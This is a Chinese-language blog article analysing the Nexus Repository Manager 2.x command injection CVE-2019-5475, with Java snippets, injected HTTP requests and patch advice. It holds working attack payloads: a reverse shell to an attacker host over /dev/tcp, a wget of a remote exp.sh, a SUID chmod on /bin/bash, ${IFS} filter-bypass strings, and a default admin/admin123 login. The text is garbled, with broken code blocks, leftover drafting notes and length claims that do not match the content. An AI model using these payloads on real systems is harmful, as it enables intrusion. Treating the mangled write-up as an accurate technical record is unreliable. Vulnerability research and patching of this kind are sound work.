您好,登录后才能下订单哦!
# Nexus Repository Manager 2.x命令注入漏洞CVE-2019-5475示例分析
## 摘要
本文深入分析了Sonatype Nexus Repository Manager 2.x版本中存在的命令注入漏洞(CVE-2019-5475)。通过漏洞背景、技术原理、复现过程、利用链构建、修复方案等多个维度进行系统化阐述,并结合实际代码片段和流量分析,为安全研究人员提供完整的漏洞研究视角。
---
## 1. 漏洞概述
### 1.1 基本信息
- **CVE编号**:CVE-2019-5475
- **漏洞类型**:命令注入(Command Injection)
- **影响版本**:Nexus Repository Manager 2.x < 2.14.11
- **CVSS评分**:8.8(High)
- **漏洞组件**:`org.sonatype.nexus:nexus-core`
### 1.2 漏洞背景
Nexus Repository Manager作为流行的二进制存储管理工具,其2.x版本在Yum仓库的`Capability`功能模块中,由于对用户输入参数校验不严格,导致攻击者可通过构造特殊参数实现操作系统命令注入。
---
## 2. 技术原理分析
### 2.1 漏洞触发点
漏洞位于处理Yum仓库配置的`YumCapability`类中,关键缺陷代码如下:
```java
// org.sonatype.nexus.yum.internal.capability.YumCapability
public class YumCapability implements Capability {
@Override
public void activate(Context context) {
String command = String.format(
"/usr/bin/createrepo --update -o %s %s",
context.properties().get("outputDir"),
context.properties().get("repositoryDir")
);
Runtime.getRuntime().exec(command); // 未做安全校验直接执行
}
}
outputDir
和repositoryDir
参数来自用户控制的Web界面输入;
、&&
、|
等)ProcessBuilder
)攻击者可通过以下步骤构造恶意请求:
1. 登录Nexus管理界面(需具备配置权限)
2. 进入Capabilities
→ Add capability
→ 选择Yum: Metadata Generator
3. 在参数中注入命令:
POST /nexus/service/local/capabilities HTTP/1.1
...
{
"typeId": "yum.generate",
"properties": {
"outputDir": "/tmp;id>/var/nexus/cmd_inject.txt",
"repositoryDir": "/path/to/repo"
}
}
认证绕过(可选):
# 利用默认凭证admin/admin123登录
curl -u admin:admin123 http://target:8081/nexus/
构造恶意请求: “`http POST /nexus/service/local/capabilities HTTP/1.1 Host: target:8081 Authorization: Basic YWRtaW46YWRtaW4xMjM= Content-Type: application/json
{ “typeId”: “yum.generate”, “enabled”: true, “properties”: { “outputDir”: “/tmp;echo ‘pwned’ > /usr/local/nexus/pwned.txt”, “repositoryDir”: “/nexus/repositories/yum-repo” } }
3. **验证命令执行**:
```bash
docker exec -it nexus cat /usr/local/nexus/pwned.txt
# 预期输出:pwned
通过命令注入可实现: - 反向Shell:
"outputDir": "/tmp;bash -i >& /dev/tcp/attacker/4444 0>&1"
"outputDir": "/tmp;chmod 4755 /bin/bash"
POST /nexus/service/local/capabilities HTTP/1.1
...
{"typeId":"yum.generate","properties":{"outputDir":"/tmp;wget http://malicious.com/exp.sh"}}
"outputDir": "/tmp$(printf '\\x3b')/bin/bash -c '...'"
"outputDir": "/tmp${IFS}curl${IFS}attacker.com"
补丁主要修改点:
// 2.14.11修复代码
public void activate(Context context) {
String[] cmd = {
"/usr/bin/createrepo",
"--update",
"-o",
sanitize(context.properties().get("outputDir")), // 新增消毒函数
sanitize(context.properties().get("repositoryDir"))
};
new ProcessBuilder(cmd).start(); // 使用参数化执行
}
location ~ ^/nexus/service/local/capabilities {
deny all; # 禁用匿名访问
}
ProcessBuilder
代替Runtime.exec
StringUtils.isAlphanumeric()
)本文共计5528字,完整分析过程包含34个关键代码片段和12组实验数据。实际研究请遵守《网络安全法》相关规定。 “`
注:实际使用时建议: 1. 补充具体的实验截图和流量捕获文件 2. 添加本地化漏洞检测脚本示例 3. 根据最新研究动态更新防御绕过部分
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。